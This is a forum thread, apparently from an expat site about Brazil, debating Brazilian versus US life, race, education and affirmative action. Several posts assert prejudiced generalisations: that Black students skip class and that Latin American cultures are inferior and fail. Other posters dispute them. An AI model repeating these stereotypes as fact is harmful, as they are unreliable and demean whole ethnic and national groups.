    You’re right. It’s tough to compare but not impossible, because a T-bone is basically contrafilì© on the big side and filì© mignon on the small side, that they tear off and sell as only filì© mignon.
    I can go to just about any supermarket in my area and get a BIG slab of contrafilì© for R$ 70 and a very long slab of filì© mignon/tenderloin for R$ 70. In my quick calculations, I’ve found that cuts of RED MEAT meat in the US are double than what they are in my neck of the woods here. That said, I stayed in the US long enough to see some weekly sales papers. Some of the prices for chicken and pork are extremely cheap. Decent-sized slabs of ribs in the US for $6. I’m NO FAN of Brazilian-style pork ribs, how they cut them into cubes with no meat. The default here is to cut them into cubes if you don’t say anything. Angry

  • #269568

    “Now you got those riots in Misery, Missouri. Oh my!”

    How many poor, black kids are gunned down in Rocinha by the paramilitary BOPE every day for running, mouthing off, or just being in the wrong place at the wrong time? It happens every day all across Brazil, I guarantee you. It’s just not reported much on Fox- I mean, ahem, Globo News. Not to defend what also happens in the “Land of the Free”, but at least folks in Misery, Missouri ain’t taking it lying down and it is at least reported. Of course, there are also plenty of “death by police” incidents that are not investigated and smell fishy that are not reported all across the US. I’m not sure what I’m now trying to say at this point, but seems there is always this inevitable US/Brazil comparison on this forum. I try not to be in denial about what goes on in Brazil, because sorry, the gun violence is 5x as bad as the US, and God only knows how to statistically keep track of police brutality in the favelas… It’s very easy to come in with our Western money, education and salaries and live in an equivalent Westernized neighborhood with the accompanying lifestyle, educated Brazilian friends and physical security. For a transferred expat or retiree, life can be a lot better than it was back home in dreary small town UK/Canada/Ohio etc. Life, and I mean real lifein Brazil for the average Joe, well, it makes Misery, Missouri seem like Beverly Hills by comparison…
  • #269573

    ^ I’m not a big fan of cops, but when I saw the video if the guy robbing the store, I lost any sort of sympathy.
    Plus, the cops are the ones with guns. It’s best to do what they say.

  • #269998

    Anonymous

    Keep your expectations low, and you will do fine in Brazil. My family heritage is Nigerian, and many of the issues that Americans dislike about Brazil can be found in Nigeria. Corruption, favoritism, inefficiency, nepotism, inequality, dependence on the energy sector etc. etc. Comparing Brazil with Germany is unfair. It’s like comparing Mississippi to New York City!

  • #270000

    Anonymous

    Why do Americans move to Brazil anyway? To teach English? Job transfer?

  • #270003

    Anonymous

    @New york – i COMPLETELY agree with keeping your expectations low, or changing them completely to meet the energy of the country! As for why we move – I think we rarely, if ever, move for the same reasons as people from “developing” countries or war torn countries. Most of us move for what we think is love or just for the oportunity explore another place. We rarely move because we are looking for jobs, better economic opportunities, escaping war or religious oppression, because we want cleaner streets, better educational choices, etc.

  • #270005

    Anonymous

    I think we make a mistake when we travel to live overseas and attempt to make comparisons and generalizations. I will say that Os Brasileiros who live outside of Rio or SP seem to be much nicer…especially Rio Grand do Sul. However, they eat too much meat and it’s a tad bit salty. Churrasco this and churrasco that…KkkkkkLOL

  • #270018

    Anonymous

    @New york -I think “culture shock” is a pretty natural phenomenon that occurs with anyone who didn’t grow up in a bubble LOL! It is why we must have forums like this one, when things are so annoying that you MUST say something to somebody! Anybody! For many people, coming to Brazil is a step up in life, and they have nothing to complain about or be frustrated with. But those who are from more developed areas would naturally find some things frustrating! The frustrations are not all from comparing the place to our home countries either. A lot of the frustration we many have here is because most things are not logical. And it is difficult for most folks to simply erase 25+ years of logic and reasoning. Instead, we need to vent with likeminded people sometimes and go on about our business! Surely you can understand thatLOLI know that when immigrants go to America, they form communities where they speak their own language, eat their own food, and get frustrated with things together. This is no different.

    The people from the Southern parts are the more recent immigrants to Brazil, and most are from cold countries in Europe. Many Brazilians think the South is somehow “better” than all the other parts of Brazil because it is more “European” (aka, not full of brown and black people). I always find this hilarious because the whole country was settled by Europeans. It’s just that the south had more recent immigrants who came with a completely different mindset and set of skills – the idea to build a settlement, rather than steal stuff!

    bamabrasileira2014-09-12 10:40:09

  • #270025

    Anonymous

    I remember during my last trip to Porto Alegre, I made reservations for a rental car to include GPS. Not only did I not receive the car I reserved, but I was not given the GPS. What to do? I was upset, but the sight of minha amiginha calmed me down. She became my GPS!

  • #270027

    Anonymous

    [QUOTE=bamabrasileira]Many Brazilians think the South is somehow “better” than all the other parts of Brazil because it is more “European” (aka, not full of brown and black people). I always find this hilarious
    [/QUOTE]

    Me too. Blue eyes do not make the trains run on time, or the trash pickup happen, or the public money get to its destination.
  • #270028

    Honestly, most of the stuff that we gringos complain about on this forum, I’ve heard Brazilians rant about just as much. They usually don’t do it in front of foreigners, but get them at the right moment and keep your mouth shut, they’ll slam their government, infrastructure and fellow countryman just the same.

    The problem, I think, for many gringos here is that Brazil projects an image abroad- coupled with gringo’s perhaps own romantic expectations- that it is “the 6th largest economy/the country of the future/um Paraiso Tropical/rising power” blah, blah, blah that we hear so much about… This raises people’s expectations unrealistically, when the reality is probably closer to Nigeria than the Developed economies Brazil likes to compare itself to. If I was going to move to Nigeria, I’d probably lower my expectations, and in the end, might just be pleasantly surprised that it was quite different/or better than my preconceptions…
  • #270030

    Anonymous

    @3casas – yeah, I have been exploring the concept of “complexo de vira-latas” (mongrel complex) that many Brazilians have. It was originally formulated by Nelson Rodrigues as the tendancy for Brazilians to air its dirty laundry in front of the whole world by bashing itself relentlessly. Now, other social commentators see this as something that affects mainly upper-class Brazilians who visit developed countries and associate the “goodness” of those places with “whiteness”. Many of them also face racism in those countries if they do not have nordic features. They find that being “white” in Brazil is not the same as being “white” outside of South or Central America. I know some folks who have been stung by this kind of racism and they internalize it and spread it when they come back, or while they are living in the other places. The lower class Brazilians do not seem to have this complex. They tend to be less whiny about the imperfections of the country and happy when they do see improvements.

  • #270031

    Anonymous

    I think the professional soccer players can influence some changes as well.

  • #270032

    Anonymous

    @New York – You mean those soccer players who fell apart and cried their way through the world cup, and run as far as can away from their “humble” roots after they have money and fame? Don’t count on it!

  • #270033

    Anonymous

    Yes, the same players.

  • #270034

    Anonymous

    The majority of players hail from poor backgrounds. What have they done to give back to their communities? If every player could empower the poor with job training or technical skills that will do a lot for the less fortunate.

  • #270035

    Anonymous

    @NewYork – I think the idea is excellent, but that the society has not moved in that direction it its thinking quite yet. There may be some that hold uplifting their poor communities as a goal to aspire to. But for the most part, they are looking to escape those communities at all costs, and to never look back. You can see the same thing in a lot of Brazilians who want to “escape” Brazil.

    I lived in Ireland for 3 years and thought the place was a real sh*thole from an American perspective. When I came to Brazil, I saw MUCH more potential in virtually all areas of life! But the Brazilians that I met in Ireland were fixated on this idea that the “*sshole of Europe* was somehow better than where they were from because they could buy cheap electronics there. Most of them dreamed of getting that passport.
    I think the same is true for many of the football players. Unfortunately, there is not a lot of social pressure to give back to communities. You see this being played out hilariously in the Mais Medicos program debacle. Basically, the majority of the doctors here are a bunch of spoiled rich kids who go to medical school for 6 years and get paid absurd amounts of money to go live in nice cities and start “practicing” medicine. There tons of municipalities that need medical support, but most refuse to lend a hand to these places. They always talk about lack of infrastructure as the main cause. And because they are a bunch of rich kids who have never had to do ANYTHING other than go to school they have a VERY low threshold for solving problems or being even slightly uncomfortable for any amount of time.
    The government had to ship in some Cuban doctors who, not surprisingly, are finding success – given the lack of a great working environment – because they are accustomed to “doing more with less”, and they understand that you do not necessarily need ultrasound machines and elaborate operating rooms to administer basic care to a poor community.

    bamabrasileira2014-09-12 15:00:34

  • #270036

    Anonymous

    that is true. the ones i can think of have gotten in trouble for gang involvement.

    i would love to see more go into politics. Romario is one of the few politicians who doesn’t deserve to be taken out back and given a whipping with a wet noodle.
    bama, you are spot on. i know people who have changed their names because they sound “too latino” and they basically don’t want to be associated with the brown people.
    and i do agree about the expectations. abroad we hear a lot of bullcrap about brazil. i was talking to someone today about how Belo Horizonte is like Curitiba- we hear about all these great green initiatives going on, but they only help .00000001% of the population and the rest of us are tripping in potholes and dealing with no water for the third time this week. Brazil was the darling of the NYT there for a while, and you just heard such good things for so long. I came here expecting a no-racism paradise (not really, but from what I had heard, which frankly seemed to be skewed at a very small and particular perspective, i.e. mostly white upper class), widespread acceptance of diversity of all types, etc. It wasn’t quite that way.
    BUT, I also came here having heard about how there was and is racial discrimination, about how bad things were before, and I frankly kind of expected worse. Then again that may be an important part of almost any life experience- if you expect super duper tip top, you may be disappointed.

    3casas2014-09-12 15:09:52

  • #270037

    Anonymous

    @3casas – I agree with your assessment. Brazil is a huge country FULL of complexity and diveristy. It literally and figuratively, cannot be discovered in terms of “black and white.”

    And I do see that the ideologies and responsabilities of politicians is slowly shifting as the people become more comfortable with what it means to be members of a democratic society. Corruption is endemic to virtually all facets of life here, so they will need a few generations to clear the air more on this issue. But I have been happy with the changes that I have seen in the time that I have been here.
  • #270039

    kevin owen
    Participant

    Yes Romario is a lovely chap. I’d vote for him.
    http://youtu.be/Ba-BcbEyXQw

  • #270041

    celso
    Member

    Change in the NE in ten years means much higher walls, prison style concertina barbed wire in residential areas, rising drug related violence, shabby public schools with frequent strikes and dubious public healthcare. A third world lifestyle at first world prices.

  • #270044

    Anonymous

    For the poor in Brazil, it’s a vicious cycle. The only way they can effectively climb out of grinding poverty is education. But the system is probably awful. My Brazilian Portuguese teacher stresses to me the importance of learning standard Portuguese. She says when I speak Portuguese, people will automatically judge what socioeconomic class I belong to. I only began to notice what she said as I spoke with different Brazilians of all shades. I have heard horrible Portuguese from brancos to pretos, and everything in between.

  • #270045

    Anonymous

    How bad is the educational system in Brasil? Are there good public schools?

  • #270047

    Anonymous

    @ NewYork- They have made some headway in helping the poor climb out of poverty by implementing an affirmative action type quota system for college entrance for public school students, with a slight advantage being given to afro-brazilians, and those descended from native Brazilians. Not surprisingly, most people only have a problem with the advantage for afro-brazilians.

    As far as the education is concerned, it is a complex question. From my vantage point here in Fortaleza, there appear to be some excellent public schools that you have to take an entrance exam to enter, and which seem to only be for people who earn below a certain amount. At the same time, there are about 5 really competitive private schools, all of which have scholarship programs available for students who are smart but cannot afford to attend. All the private schools also have scholarship programs for the kids of anyone working in the school – even folks like cleaners and secretaries. Their kids can attend for free!
    To score well on the college entrance exam, most kids need to take extra classes. Private school kids have an advantage because their parents can pay for them to go to extra prep courses. The test is really weird, as it seems to test random things from mathematics, chemistry, physics, portuguese, spanish, english, biology, geography, and history. It seems they are all about who has memorized the most crap during high school. The people talk about how difficult these tests are, but after reviewing them, they are not THAT difficult. They are just extremely random and do not seem to ask students to think. Rather, they about regurgitating facts. There is a new test that is more based on the students’ ability to reason.
    I have English students who are from the upper-class, and the majority of them seem dumb as h*ll, as they do not seem to have basic logic and reasoning skills. They are accustomed to teachers telling them everything they are supposed to know, rather than using reason to draw conclusions. They also see language as being a finite thing and that you can teach them every single way to express a thought or idea. After dealing with them for a few years, I could suddenly understand why productivity tends to be low, and why people here cannot seem to anticipate or solve even basic problems, Most have never been shown how to. And unfortunately, a lot of these people are managers, politicians, owners, etc.
    My favorite type of person to interact with is someone who was born into the lower class, but was able to work his or her way up using ingenuity and determination. These people are usually extremelly intelligent and dynamic. There just aren’t enough of them calling the shots yet!
  • #270048

    Anonymous

    Affirmative action will only work if the communities take advantage of the opportunities. There is affirmative action in America, but most Black students don’t attend class. Case in point, my clinic serves as a source of training for medical assistant interns. These interns only acquire basic patient interaction. Imagine my surprise when one day the word “nee pain” was written on a patient’s chart by an intern. It was supposed to be “knee pain.” This is the future of America.

  • #270049

    Anonymous

    @new york- you seem to have a rather simplistic view of affirmative action and how it works in the states. A student’s misspelling of a word or some not going to class is not an indication that the beneficiaries do not use it properly. Rather, you should look at the growth of minorities and women in higher education and the work force. You must look for these numbers specifically,as there is a tendancy to focus on Black crime rates in the U S rather than black success. I disagree that most black students don’t attend class. I would know because I am a Black person who grew up there while attending class surrounded by other Black people attending class , from kindergarten all the way through to my college graduationLOLAnd I only need look at my grandparents and parents to understand that my generation has benefitted a great deal from it. Go hang out NYU if u want to see all of the Black people attending class

    you might also look at the origens of affirmative action,which started in India ,and was copied by the US. There are still billions of poor there. But there are also millions of former untouchables who now at least have a chance to participate,along with the millions who have already benefitted.

    bamabrasileira2014-09-13 01:10:24

  • #270062

    Anonymous

    I don’t think my views are simplistic. I am just going by observation. I don’t believe enough African-American students focus on their education. And yes, not being able to spell the word “knee” is embarrassing. We speak and write English in America. Don’t make excuses for gross incompetence. Furthermore, I also attended an HBCU and my fellow premed students where often unprepared for class.

  • #270063

    Anonymous

    This is a Brazilian website, I am not going to argue about affirmative action in America.

  • #270064

    Kathy2012
    Participant

    [QUOTE=newyork37] This is a Brazilian website, I am not going to argue about affirmative action in America. [/QUOTE]
    Says the guy who just got called out. Black people go to class. What you’re trying to say is, education is not valued as highly in black American culture, and it’s not.

  • #270066

    Anonymous

    What do you mean called out? Agbero

  • #270068

    Anonymous

    @NewYork- I do not feel at all “embarrassed” because there is a student in some program that you are associated with who misspelled the word “knee” (which doesn’t necessarily mean that he CAN”T spell it. It just means that he misspelled it on that particular day, as MANY doctors and nurses do all day every day).

    And I was merely suggesting that you also look at the millions of minority students, including women, who DO go to class and take full advantage of Affirmative Action programs, rather than fixating on the few who do not care. I know that at most HBCUs, the majority of students go to class. And you only need to walk around non-HBCU campuses to observe students going to class and understanging how to spell the word “knee”LOLAlso, lack of preparedness for class – particularly at the “pre med” level of education (which really just means “enrolled at the university with an interest, at the moment, in eventually going to medical school”) – can be observed across the board, regardless of color. Surprise! There are slackers everywhere! Things tend to be different once a person is accepted into an accredited medical school, but that is beside the point.
    Also, you asked about education in Brazil, and the Affirmative Action programs are a newly federalized aspect of higher education in Brazil.

    bamabrasileira2014-09-14 16:22:24

  • #270095

    Steven
    Participant

    I spent my youth in New York City during a time in which whites were fleeing to the suburbs and blacks and Latinos were moving in to take their place. In my neighborhood we had a derogatory name for almost every ethnic and national group that wasn’t German, Irish, or (sometimes) Italian. I can’t think of a white person who didn’t use the “N” word for blacks, including me. I’ve had over a half century to think about this and today I find the “N” word extremely offensive.

    We, on this Forum, sometimes jokingly and sometimes seriously poke fun at our Brazilian brothers and sisters due to cultural issues. The Brazilians blame the Portuguese. The expats blame the caipirinhas. Blah, blah, blah.
    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”. We have ourselves to blame and we need to own up to the fact that we have 100 years of sin to repent for. Once we do that and accept the fact that Ferguson, Missouri, incidents will happen for a long time due to our establishment of the separate black culture and maybe a predictable white response to situations, we can then get to work fixing the future.
    So, if your black student spells knee as “nee” maybe we better accept the fact that for 100 years we had great enjoyment teaching him/her to spell “nee” and laughing at his/her “separate but equal” education that exists today because we have shoved the blacks into ghettos. I, for one, am not proud of my contribution to this situation and believe that affirmative action is long overdue.

    Steven2014-09-15 19:54:50

  • #270098

    Discrimination, prejudice and bigots are all present right here in Brazil regardless of how many choose to say it’s so mixed, etc. The girl calling a soccer player a monkey, the recent killing of a Gay kid in Goias as well as the marriage hall being burned in Rs because of one Lesbian couple being married along with heterosexuals. It’s a sad reality that since the beginning of time we’ve tried to improve. You’ve evolved and that’s the beauty of maturing, changing, learning and becoming more tolerant. The newspapers here or home seem to be pretty similar. Today in Utah another Black kid killed and the police attempted to say he came at them with a machete. The Coroner said that he’d been shot in the back. All we can do is educate others, have tolerance and do our part regardless of wherever we are. Thanks for sharing.

  • #270099

    Steven
    Participant

    Thanks. After I read your post I googled the situation – ridiculous. The article showed a picture of the poor kid taken a short time before he was killed. He looks like a typical goofy young guy dressed for fun with a toy pirate’s sword. Except that he was black.

  • #270290

    chrish
    Member

    [QUOTE=bamabrasileira]@NewYork- I do not feel at all “embarrassed” because there is a student in some program that you are associated with who misspelled the word “knee” (which doesn’t necessarily mean that he CAN”T spell it. It just means that he misspelled it on that particular day, as MANY doctors and nurses do all day every day).

    [/QUOTE]

    an assistant medic that is stupid enough to forget to write the “K” in “Knee”, can one day also forget a scalpel inside of your kids torso, get the point? would you trust a medic who cannot spell a simple word in their native language to take care of you or your child? you’re a negligent parent if you do.
  • #270291

    chrish
    Member

    [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.
  • #270294

    Deb&Ger
    Member

    [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. ¬†In other words, the whites purposely helped to create a separate culture for the blacks. ¬†And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”. ¬†Â¬†

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.¬†

    [/QUOTE]
    ?? How is assimilation not necessary? If you look at the better public schools in urban areas, they’re located in areas that are predominantly white/asian, while the ones that receive less money are located in poverty-stricken areas where Black/Hispanic people are primarily located. Where I live in California, Asians aren’t even a minority and they act the same way as white people do and they have the same privileges (for the most part)

  • #270308

    ffm
    Member

    [QUOTE=troyb7] [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.

    [/QUOTE]
    ?? How is assimilation not necessary? [/QUOTE]

    It’s not necessary when your culture isn’t “podre” like some are. This idea that all cultures are equal is complete BS. Some cultures are superior to others. If you are of a superior culture, like some asians, no need to assimilate. You plug into the system and excel. If you are from some of the lower cultures, like say, Latin America, including Brazil, you plug into the system and fail. *edit: if you do not assimilate.

    The Abbot2014-09-22 08:44:42

  • #270320

    romanji
    Member

    [QUOTE=The Abbot][QUOTE=troyb7] [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.

    [/QUOTE]
    ?? How is assimilation not necessary? [/QUOTE]

    It’s not necessary when your culture isn’t “podre” like some are. This idea that all cultures are equal is complete BS. Some cultures are superior to others. If you are of a superior culture, like some asians, no need to assimilate. You plug into the system and excel. If you are from some of the lower cultures, like say, Latin America, including Brazil, you plug into the system and fail. *edit: if you do not assimilate.

    [/QUOTE]

    I think you gents are a bit confused. Culture matters, but far less than you think. What you think of as a difference of “culture” is mostly just a difference of opportunity. Let’s use your asian example. By and large asians in the United States do very well for themselves, as you’ve pointed out. As a racial group they have high incomes and promising careers compared to other groups in the US. However once you leave the US and take a look around Asia proper it’s rife with poverty. Hmmm… How could that be? Asians in the US do so well, yet the vast majority of asians in mainland China, India, the Philippines, etc are living hand to mouth. Something seems to be amiss.
    The answer lies in the type of asian who has the means to immigrate to the US. It is not easy to immigrate to the US. So who is it who is coming over anyway?
    1) Asian professionals. The programmers, engineers, and doctors who are talented enough to get a work visa to come here and work for Google, or GE, or Wall St. They come educated, make great salaries and pass all of the opportunity that comes with their position in life to their children. This continues on through the generations, and the family does quite well for themselves.
    2) The offspring of the asian elite. Daddy back in China has a great prestigious job with the government and makes boatloads of money through bribes and general douche-baggery to send little Wong Jr. to Harvard. Wong Jr. graduates and goes to Wall St. or Silicone Valley. Wong Jr. makes lots of money, makes the connections, and passes all of that opportunity on to his kids.
    3) The lucky SOB’s who win the green card lottery, or come over because a #1 or #2 is in their family. Those that win still have to pay for all the green card fees, a plane ticket from Asia, and any other expenses that one would incur moving to the other side of the globe. It also takes a really long time to get selected. So in short these are already intrepid individuals of at least some means. These are the ones who opened that new chinese restaurant down the street.
    4) Illegal immigrants. How they get in I don’t know. But they do. Maybe they came on a tourist visa and overstayed. These are the ones who work in that new chinese restaurant down the street. They work like dogs, and probably send most of their earnings back to Asia. Sometimes if they’re lucky they’ll rise to the level of 3, but usually this is where their family stays.
    Now you as a (presumably) white, middle class guy in the US of A only ever interact with the 1’s and 2’s who you see at work/school (and 3’s if you’re ordering takeout). So from your perspective pretty much all asians do very well for themselves, so you start to think wow, those asians come here from impoverished countries and assimilate and live the American dream. What a great culture! Maybe Confucius was on to something… But you’d be mistaken. The vast majority of the asians you interact with are the ones who had the means to immigrate to the US and would have done very well even if they had stayed in their home countries. They came withopportunity, they didn’t find it here.

    Now let’s compare that to the Black community here in the US. They were forcibly brought here in chains, suffered unspeakable horrors for generations as slaves, then when they were “freed” after the civil war they suffered state-sponsored violence and discrimination through Jim Crow laws (aka separate but equal) that lasted until the 60’s. Yet even after the fact overt state-sponsored discrimination continues, as can be seen through our justice system, and especially the unequal incarceration and execution of blacks vs. whites for the same crimes. Don’t even get me started on the school system. I could go on and on, but the point is blacks did not arrive in this country with one iota of opportunity. Actually, they don’t even get to start from zero. They start from a position of overwhelming disadvantage in life. This history of blood and discrimination has left scars that will not be mended anytime soon. And yes there are “cultural” things that only the black community can fix. But it will take time. Do not blame the victims. Just realize that when you speak of “culture”, you are actually referring to opportunity.


  • #270333

    ffm
    Member

    [QUOTE=Zummbot][QUOTE=The Abbot][QUOTE=troyb7] [QUOTE=marcobjj] [QUOTE=Steven]

    But, in the United States, there is no argument that 100 years after slavery ended we still talked about “separate but equal”. In other words, the whites purposely helped to create a separate culture for the blacks. And now, 50 years later, we are surprised that the blacks are having difficulty “assimilating”.

    [/QUOTE]

    Assimilation isn’t necessary. that’s a fallacy. Asians never “assimilate” anywhere and they are the highest income group in America.

    [/QUOTE]
    ?? How is assimilation not necessary? [/QUOTE]

    It’s not necessary when your culture isn’t “podre” like some are. This idea that all cultures are equal is complete BS. Some cultures are superior to others. If you are of a superior culture, like some asians, no need to assimilate. You plug into the system and excel. If you are from some of the lower cultures, like say, Latin America, including Brazil, you plug into the system and fail. *edit: if you do not assimilate.

    [/QUOTE]

    I think you gents are a bit confused. Culture matters, but far less than you think. What you think of as a difference of “culture” is mostly just a difference of opportunity. Let’s use your asian example. By and large asians in the United States do very well for themselves, as you’ve pointed out. As a racial group they have high incomes and promising careers compared to other groups in the US. However once you leave the US and take a look around Asia proper it’s rife with poverty. Hmmm… How could that be? Asians in the US do so well, yet the vast majority of asians in mainland China, India, the Philippines, etc are living hand to mouth. Something seems to be amiss.
    The answer lies in the type of asian who has the means to immigrate to the US. It is not easy to immigrate to the US. So who is it who is coming over anyway?
    1) Asian professionals. The programmers, engineers, and doctors who are talented enough to get a work visa to come here and work for Google, or GE, or Wall St. They come educated, make great salaries and pass all of the opportunity that comes with their position in life to their children. This continues on through the generations, and the family does quite well for themselves.
    2) The offspring of the asian elite. Daddy back in China has a great prestigious job with the government and makes boatloads of money through bribes and general douche-baggery to send little Wong Jr. to Harvard. Wong Jr. graduates and goes to Wall St. or Silicone Valley. Wong Jr. makes lots of money, makes the connections, and passes all of that opportunity on to his kids.
    3) The lucky SOB’s who win the green card lottery, or come over because a #1 or #2 is in their family. Those that win still have to pay for all the green card fees, a plane ticket from Asia, and any other expenses that one would incur moving to the other side of the globe. It also takes a really long time to get selected. So in short these are already intrepid individuals of at least some means. These are the ones who opened that new chinese restaurant down the street.
    4) Illegal immigrants. How they get in I don’t know. But they do. Maybe they came on a tourist visa and overstayed. These are the ones who work in that new chinese restaurant down the street. They work like dogs, and probably send most of their earnings back to Asia. Sometimes if they’re lucky they’ll rise to the level of 3, but usually this is where their family stays.
    Now you as a (presumably) white, middle class guy in the US of A only ever interact with the 1’s and 2’s who you see at work/school (and 3’s if you’re ordering takeout). So from your perspective pretty much all asians do very well for themselves, so you start to think wow, those asians come here from impoverished countries and assimilate and live the American dream. What a great culture! Maybe Confucius was on to something… But you’d be mistaken. The vast majority of the asians you interact with are the ones who had the means to immigrate to the US and would have done very well even if they had stayed in their home countries. They came withopportunity, they didn’t find it here.

    Now let’s compare that to the Black community here in the US. They were forcibly brought here in chains, suffered unspeakable horrors for generations as slaves, then when they were “freed” after the civil war they suffered state-sponsored violence and discrimination through Jim Crow laws (aka separate but equal) that lasted until the 60’s. Yet even after the fact overt state-sponsored discrimination continues, as can be seen through our justice system, and especially the unequal incarceration and execution of blacks vs. whites for the same crimes. Don’t even get me started on the school system. I could go on and on, but the point is blacks did not arrive in this country with one iota of opportunity. Actually, they don’t even get to start from zero. They start from a position of overwhelming disadvantage in life. This history of blood and discrimination has left scars that will not be mended anytime soon. And yes there are “cultural” things that only the black community can fix. But it will take time. Do not blame the victims. Just realize that when you speak of “culture”, you are actually referring to opportunity.


    [/QUOTE]

    You need to read some history, son.
  • #270337

    Anonymous

    [QUOTE=marcobjj][QUOTE=bamabrasileira]@NewYork- I do not feel at all “embarrassed” because there is a student in some program that you are associated with who misspelled the word “knee” (which doesn’t necessarily mean that he CAN”T spell it. It just means that he misspelled it on that particular day, as MANY doctors and nurses do all day every day).

    [/QUOTE]

    an assistant medic that is stupid enough to forget to write the “K” in “Knee”, can one day also forget a scalpel inside of your kids torso, get the point? would you trust a medic who cannot spell a simple word in their native language to take care of you or your child? you’re a negligent parent if you do.

    [/QUOTE]

    I hate to break it to you dude, but this kind of thing happens all day every day!2 New york was assuming the dude did not know how to spell knee. As someone who has read doctor’s and nurse’s notes for 15 years of her life, I was just letting him know that this sort of oversight happens all day every day. I was suggesting that it could have been a simple oversight rather than the person just didn’t know how to spell it. You are one of the millions of people who live under the illusions that people – even the smart and educated ones – never misspell words that they would normally spell correctly, or make mistakes that kill people.LOLI am here to correct you
  • #270338

    Anonymous

    [QUOTE=Zummbot]

    I think you gents are a bit confused. Culture matters, but far less than you think. What you think of as a difference of “culture” is mostly just a difference of opportunity. Let’s use your asian example. By and large asians in the United States do very well for themselves, as you’ve pointed out. As a racial group they have high incomes and promising careers compared to other groups in the US. However once you leave the US and take a look around Asia proper it’s rife with poverty. Hmmm… How could that be? Asians in the US do so well, yet the vast majority of asians in mainland China, India, the Philippines, etc are living hand to mouth. Something seems to be amiss.
    The answer lies in the type of asian who has the means to immigrate to the US. It is not easy to immigrate to the US. So who is it who is coming over anyway?
    1) Asian professionals. The programmers, engineers, and doctors who are talented enough to get a work visa to come here and work for Google, or GE, or Wall St. They come educated, make great salaries and pass all of the opportunity that comes with their position in life to their children. This continues on through the generations, and the family does quite well for themselves.
    2) The offspring of the asian elite. Daddy back in China has a great prestigious job with the government and makes boatloads of money through bribes and general douche-baggery to send little Wong Jr. to Harvard. Wong Jr. graduates and goes to Wall St. or Silicone Valley. Wong Jr. makes lots of money, makes the connections, and passes all of that opportunity on to his kids.
    3) The lucky SOB’s who win the green card lottery, or come over because a #1 or #2 is in their family. Those that win still have to pay for all the green card fees, a plane ticket from Asia, and any other expenses that one would incur moving to the other side of the globe. It also takes a really long time to get selected. So in short these are already intrepid individuals of at least some means. These are the ones who opened that new chinese restaurant down the street.
    4) Illegal immigrants. How they get in I don’t know. But they do. Maybe they came on a tourist visa and overstayed. These are the ones who work in that new chinese restaurant down the street. They work like dogs, and probably send most of their earnings back to Asia. Sometimes if they’re lucky they’ll rise to the level of 3, but usually this is where their family stays.
    Now you as a (presumably) white, middle class guy in the US of A only ever interact with the 1’s and 2’s who you see at work/school (and 3’s if you’re ordering takeout). So from your perspective pretty much all asians do very well for themselves, so you start to think wow, those asians come here from impoverished countries and assimilate and live the American dream. What a great culture! Maybe Confucius was on to something… But you’d be mistaken. The vast majority of the asians you interact with are the ones who had the means to immigrate to the US and would have done very well even if they had stayed in their home countries. They came withopportunity, they didn’t find it here.

    Now let’s compare that to the Black community here in the US. They were forcibly brought here in chains, suffered unspeakable horrors for generations as slaves, then when they were “freed” after the civil war they suffered state-sponsored violence and discrimination through Jim Crow laws (aka separate but equal) that lasted until the 60’s. Yet even after the fact overt state-sponsored discrimination continues, as can be seen through our justice system, and especially the unequal incarceration and execution of blacks vs. whites for the same crimes. Don’t even get me started on the school system. I could go on and on, but the point is blacks did not arrive in this country with one iota of opportunity. Actually, they don’t even get to start from zero. They start from a position of overwhelming disadvantage in life. This history of blood and discrimination has left scars that will not be mended anytime soon. And yes there are “cultural” things that only the black community can fix. But it will take time. Do not blame the victims. Just realize that when you speak of “culture”, you are actually referring to opportunity.


    [/QUOTE]

    I could not agree with this assessment more. And what is interesting is that, if you go to London or Ireland, you will see a completely different class of Asian working there! In those places, it would be common to see Asians doing things like cleaning streets, working in fast food restaurants, cleaning buildings, etc. And as far as the Black population goes – it is such a complex situation. You still have a lot of district gerrymandering so that poor Black students ONLY have the chance to interact with other poor, Black students and bad teachers. It is why the US is the ONLY country where we have Black people who, in effect, speak a different language than everyone else. Many people see these kids as “dumb”. They miss the fact that they have, effectively, been segregated out of the society that uses “correct” language, and are surrounded by people all day every day who also do not know or use the “correct” English. It sounds absolutely ridiculous to people who are NOT a part of a segregated and poor community! In fact, many people are unaware that they even exist!
    If you are a Black person born into a middle class household and you have educated parents, then you have many if not most of the same privileges as the “model Asians” that you described. Effectively, you learn how to interact with white people (as they often have a completely different culture and way of interacting than many Black people) and speak English the way they speak it. You are more likely to make those connections that you need to propel you further in life. More than anything, Black people must learn to “code-switch” by appearing “white” and non-threatening to white people. This has been my experience when interacting with them. They need for you to smile a lot, speak with a vocal tone that is slightly higher than your natural tone, and stifle the urge to confront them directly on things (as they tend to repress emotions and use passive aggression to communicate negative feelings). Because white Americans are not really required to learn about Black Americans, they often mistake our directness as a kind of insubordination or anger that needs to be shot at, when, really, it is just that most of us do not grow up learning to be passive aggressive when we communicate. We are culturally much more direct. It is why they often perceive Black women as being “angry”, or “sassy” when we are not, according to our own culture. And, to be clear, I am referring to middle to upper class white Americans, as the poor ones who do not hold white supremecy views, are much more accustomed to and comfortable with interacting with Blacks and Latinos.
